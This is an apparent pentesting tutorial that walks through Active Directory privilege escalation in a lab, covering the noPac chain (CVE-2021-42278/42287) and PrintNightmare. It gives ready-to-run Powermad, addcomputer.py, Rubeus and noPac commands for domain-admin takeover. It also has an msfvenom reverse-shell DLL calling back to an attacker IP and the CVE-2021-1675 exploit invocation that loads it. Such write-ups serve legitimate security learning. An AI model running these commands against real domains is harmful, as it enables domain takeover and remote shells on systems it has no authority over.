Active Directory Pentesting: Privilege Escalation

Notes on privilege escalation techniques and related vulnerabilities in Active Directory environments.

I. CVE-2021-42278/CVE-2021-42287

References:

https://www.fortinet.com/blog/threat-research/cve-2021-42278-cve-2021-42287-from-user-to-domain-admin-60-seconds

https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45

https://cloud.tencent.com/developer/article/1922502

In this article, we’ll walk through how these vulnerabilities are exploited and show how FortiEDR can mitigate the attack.

Affected platforms: Windows Affected users: Any organization with an Active Directory environment Impact: An unprivileged user can escalate privileges to domain administrator Severity: Critical

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Affected scope
CVE-2021-42287:
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019
CVE-2021-42278:
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)

Exploitation and Telemetry

At a high level, successfully exploiting these vulnerabilities takes the following steps:

  1. Add a new computer account to the domain.
  2. Rename the new computer account to match the name of an existing domain controller (without the trailing " $ “).
  3. Request a Kerberos TGT using the updated computer account name.
  4. Rename the new computer account again, restoring its original name (or giving it any other name).
  5. Request a Kerberos service ticket with the S4U2self extension.

The service ticket can then be used to access any service on the domain controller. The ST exploit shown below uses CIFS to obtain a SYSTEM shell.

CVE-2021-42278 - Invalid Computer Account Names

Computer account names in an Active Directory environment are supposed to always end with “$”, but that rule is not properly enforced. The computer account name is stored in the “sAMAccountName” attribute. You can inspect and edit this attribute manually with ADSIEdit, as shown in Figure 1.

On a vulnerable machine, the account can be renamed to the domain controller’s account name. This is the key step in the exploit chain.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
CVE-2021-42278 characteristics:
1. Root cause:
- Active Directory allows a machine account's sAMAccountName to be changed
- The trailing $ can be removed from the machine account name
- It can even be renamed to the domain controller's name (without $)

2. Under normal conditions:
Machine account: WIN10$
Domain controller account: DC01$
- Machine accounts must end with $
- This is a security restriction

3. Exploitation:
- Rename a standard machine account to the domain controller's name (without $)
- Example: rename WIN10$ to DC01
- This causes identity confusion
=======================================================================
1. Normal computer account:
hostname: WIN10
sAMAccountName: WIN10$

2. After exploiting the vulnerability:
hostname: WIN10
sAMAccountName: WindowsServerAD  # Changed to the domain controller name without $

Service Principal Names

A service principal name (SPN) identifies an authenticated entity, such as machinename$@domainname. Kerberos uses [SPNs as part of the authentication process for various entities. An SPN is essentially a unique identifier for a service instance,](https://docs.microsoft.com/en-us/windows/win32/ad/service-principal-names#:~:text=A%20service%20principal%20name%20(SPN,with%20a%20service%20logon%20account.&text=The%20installer%20then%20composes%20the,in%20Active%20Directory%20Domain%20Services.) and Kerberos authentication uses it to associate a service instance with its service logon account.

This creates a problem when you try to rename a computer account to the domain controller’s account name, because changing the samAccountName attribute also triggers a corresponding change to the account’s SPNs. The change fails because an SPN with that name already exists. To get around this, you can clear the computer’s “servicePrincipalName” attribute. Exploiting this vulnerability therefore also requires permission to edit the “servicePrincipalName” attribute.

Let’s start setting up the environment.

Lab environment:

  • Domain: test.local
  • Domain controller: Windows Server 2022, hostname: WindowsServerAD, IP: 192.168.0.110, user: administrator
  • Domain host: Windows 10, hostname: win10, IP: 192.168.0.104, user: jerry
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Run the following on the domain-joined host win10
Configure the environment:

Use powermad.ps1 to add a machine account
Download: https://github.com/Kevin-Robertson/Powermad
Direct import causes an error; see https://www.jianshu.com/p/a0a88d3bb787

Set-ExecutionPolicy RemoteSigned
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testuser1 -Domain test.local -DomainController WindowsServerAD.test.local -Verbose

# If the method above repeatedly reports insufficient privileges, use the following method; it requires credentials for the current domain account
python addcomputer.py -computer-name 'testuser1' -computer-pass 'Password123!' 'test.local/jerry:Password123!' -dc-ip 192.168.0.110

The account has now been created. (You can also do this through the ADSI Edit GUI with adsiedit.msc.)

1
2
3
4
# Clear the SPN
Set-ADComputer testuser1 -Clear servicePrincipalName
# Set the computer account name to the domain controller's hostname
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "WindowsServerAD" -Attribute samaccountname -Verbose

CVE-2021-42287 - Kerberos Key Distribution Center Confusion

The Kerberos Key Distribution Center (KDC) is an Active Directory service that handles Kerberos ticket requests. A ticket-granting ticket (TGT) is a special type of ticket that can be used to obtain other tickets. A TGT is used to request an access token for a specific resource or system in the domain from the Ticket Granting Service (TGS). When a service ticket request is sent but the account cannot be found, the KDC automatically looks for the requested account name with a “$” appended. S4U2self (Service for User to Self) is an extension that lets a service obtain a Kerberos service ticket for itself. The service ticket includes the user’s groups, so it can be used in authorization decisions. All of these Active Directory terms, along with full explanations, can be found here.

This vulnerability can be triggered if an account obtains a TGT and is then deleted, after which that TGT is used to request a service ticket to itself on behalf of another user (which is essentially S4U2self). The account cannot be found, so the KDC tries looking it up again with a “$” appended. If a domain controller account with that name exists, the requesting user is granted its service ticket, effectively giving the user domain administrator privileges.

You can also create an account yourself here, even from outside the domain, as long as you have permission to create users on the domain controller.

Request a TGT:

1
.\Rubeus.exe asktgt /user:WindowsServerAD /password:Password123! /domain:test.local /dc:WindowsServerAD.test.local /nowrap

Then either delete the account or rename it back to its original name.

Once the user has been deleted, during the S4U2self process the KDC:

  • First looks for the account name without $
  • If it cannot find it, automatically tries again with $ appended
  • If a domain controller account with the same name exists, grants elevated privileges
1
2
Import-Module .\Powermad.ps1
Set-MachineAccountAttribute -MachineAccount testuser1 -Value "testuser1$" -Attribute samaccountname -Verbose

You can also perform this step with adsiedit.msc.

Request an ST for the domain controller:

1
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:LDAP/WindowsServerAD.test.local /ptt /ticket:[base64]

Here, base64 is the Base64-encoded TGT obtained above.

We successfully obtained the ST. Because we used the /ptt parameter, the ticket has already been injected.

The original author also pointed out that we obtained LDAP privileges, so we cannot access shared directories.

Generate the ST again:

1
.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:WindowsServerAD.test.local /self /altservice:cifs/WindowsServerAD.test.local /ptt /ticket:

Automated Exploitation - noPac

https://github.com/cube0x0/noPac

You need to compile it yourself, and the domain host also needs a .NET environment. Here is how to use it:

1
2
3
4
noPac.exe scan -domain htb.local -user domain_user -pass 'Password123!'
noPac.exe -dc dc02.htb.local -mAccount demo -mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo /mPassword Password123!
noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc02.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt

I’ve already compiled it here.

1
2
# Enter credentials for a domain host to test whether the vulnerability exists
noPac.exe scan -domain test.local -user jerry -pass Password123!

1
2
# Create a machine account, then change its computer account name to the domain controller's hostname
noPac.exe -dc WindowsServerAD.test.local -mAccount testuser1 -mPassword Password123!

The command-line attempt failed earlier because of insufficient permissions, and the same thing happens here. Impacket’s addcomputer.py does work, though.

There are two other one-click exploitation methods, but I didn’t use them. You could get them working with a few changes if needed. The one-click exploits include a command that creates a user, but creating a user fails for me due to insufficient permissions, so these exploits do not work in my environment either.

For the remaining steps, refer to the original author:

https://cloud.tencent.com/developer/article/1922502

It mainly covers creating a new domain user after obtaining domain controller administrator privileges, adding that user to Domain Admins, and then taking over the domain controller through the newly created domain account.

II. PrintNightmare (CVE-2021-34527)

Create a malicious DLL:

1
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f dll -o /var/public/rev.dll

https://github.com/cube0x0/CVE-2021-1675

1
python3 CVE-2021-1675.py My.local/bob:[email protected]'\\192.168.0.106\\public\\rev.dll'

This is mainly used for privilege escalation.